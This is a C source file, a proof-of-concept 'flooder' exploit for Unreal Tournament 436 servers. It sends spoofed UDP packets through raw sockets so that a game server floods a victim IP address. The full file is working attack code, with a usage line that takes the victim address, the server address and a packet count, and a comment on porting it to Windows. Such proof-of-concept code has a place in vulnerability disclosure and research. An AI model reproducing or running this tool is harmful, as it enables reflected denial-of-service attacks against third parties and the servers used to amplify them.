/*

Unreal Tournament version 436 flooder (proof-of-concept)
    by Luigi Auriemma (aluigi@autistici.org)

Linux version

This exploit send spoofed UDP packets to an Unreal Tournament server
and this begin to send a lot of packets to the fake sender.
If the sender answer with an ICMP unreachable port, the UT server
continue to flood it.

This exploit has been tested on Linux, but with some modification
it can run on a Win9x (for example with Winject or Winpcap support),
and other platforms.

*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netdb.h>
#include <string.h>

#define IPSIZE    sizeof(struct iphdr)
#define UDPSIZE    sizeof(struct udphdr)
#define PSEUDOSIZE    sizeof(struct pseudohdr)
#define SIZE    (IPSIZE + UDPSIZE)
#define PORT    7777
#define TIMEOUT    150000000    //2 minutes and 30 seconds (default UT timeout)
#define DELAY    50000    //50 ms for sending a packet

struct pseudohdr {
    u_int saddr;
    u_int daddr;
    u_char zero;
    u_char protocol;
    u_short length;
} *pseudohdr;

void error_handle(int err);
unsigned short in_cksum(unsigned short *addr, int len);

int main(int argc, char *argv[]) {
    setbuf(stdout, NULL);
    if(argc < 4) {
        printf("\nUsage: %s <IP_to_flood> <UT_server_IP> <# of packets> [port(default 7777)]\n", argv[0]);
        exit(1);
    }

    unsigned char    buffsend[SIZE];
    struct    sockaddr_in     peer;
    struct    iphdr *iphdr;
    struct    udphdr *udphdr;
    int    shandle,
        err,
        i,
        max = atoi(argv[3]);
    unsigned int    saddr;

    memset(buffsend, 0, SIZE);

    saddr = inet_addr(argv[1]);
    peer.sin_addr.s_addr = inet_addr(argv[2]);
    if(!argv[4]) peer.sin_port = htons(PORT);
        else peer.sin_port = htons(atoi(argv[4]));
    peer.sin_family = AF_INET;

    iphdr     = (struct iphdr *)buffsend;
    pseudohdr = (struct pseudohdr *)(buffsend + IPSIZE - PSEUDOSIZE);
    udphdr    = (struct udphdr *)(buffsend + IPSIZE);

        while(1) {
                for(i = 0; i < max; i++) {

            udphdr->source = htons(i);
            udphdr->dest   = htons(PORT);
            udphdr->check  = 0;
            udphdr->len    = htons(UDPSIZE);

            pseudohdr->saddr    = saddr;
            pseudohdr->daddr    = peer.sin_addr.s_addr;
            pseudohdr->zero     = 0;
            pseudohdr->protocol = IPPROTO_UDP;
            pseudohdr->length   = udphdr->len;

            udphdr->check = in_cksum((u_short *)pseudohdr, PSEUDOSIZE + UDPSIZE);

                iphdr->ihl      = 5;
                iphdr->version  = 4;
                iphdr->tos      = 0x10;
                iphdr->tot_len  = SIZE;
                iphdr->frag_off = 0;
                iphdr->ttl      = 69;
                iphdr->protocol = IPPROTO_UDP;
                iphdr->check    = 0;
                iphdr->saddr    = saddr;
                iphdr->daddr    = peer.sin_addr.s_addr;

            shandle = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
            error_handle(shandle);
            err = sendto(shandle, buffsend, SIZE, 0, (struct sockaddr *)&peer, sizeof(peer));
            error_handle(err);
            close(shandle);
            printf(".");
            usleep(DELAY);
        }
        printf("|");
        usleep(TIMEOUT - (DELAY * max));
    }
    close(shandle);
    printf("\n");

    return(0);
}

void error_handle(int err) {
    if(err < 0) {
        perror("\nError");
        exit(1);
    }
}

unsigned short in_cksum(unsigned short *addr, int len) {
        int sum = 0;
        u_short answer = 0;
        register u_short *w = addr;
        register int nleft = len;
        while (nleft > 1)  {
                sum += *w++;
                nleft -= 2;
        }
        if (nleft == 1) {
                *(u_char *)(&answer) = *(u_char *)w ;
                sum += answer;
        }
        sum = (sum >> 16) + (sum & 0xffff);
        sum += (sum >> 16);
        answer = ~sum;
        return(answer);
}

